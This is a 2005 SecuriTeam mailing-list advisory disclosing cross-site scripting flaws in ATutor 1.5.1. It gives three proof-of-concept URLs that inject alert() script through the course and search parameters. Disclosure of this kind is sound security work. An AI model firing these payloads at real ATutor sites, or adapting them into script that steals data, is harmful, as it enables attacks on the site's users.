

[UNIX] ATutor Multiple XSS Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0088.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/21/05

To: list@securiteam.com

Date: 21 Aug 2005 15:03:11 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ATutor Multiple XSS Vulnerabilities

SUMMARY

<<http://www.atutor.ca/>> ATutor is "a web based education portal". Multiple cross site scripting vulnerabilities have been discovered in the ATutor program allowing a remote attacker to embed arbitrary HTML and/or JavaScript into the web site displayed by the product.

DETAILS

Vulnerable Systems:

* ATutor version 1.5.1

Proof of Concepts:

The following URLs can be used to trigger the vulnerabilities:

[<script>alert\('Matrix_Killerr0X'\);</script>](http://localhost/tour/login.php?course=)

[<script>alert\("There is no other place like 127.0.0.1"\);</script>&include=all&find_in=all&display_as=pages](http://localhost/tour/search.php?search=1&search=1&words=)

[<script>alert\('Found By matrix_killer'\);</script>&include=all&find_in=all&display_as=pages&submit=Search](http://localhost/tour/search.php?search=1&words=)

Securiteam: [UNIX] ATutor Multiple XSS Vulnerabilities

ADDITIONAL INFORMATION

The information has been provided by <mailto:h4cky0u.org@gmail.com>
h4cky0u.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.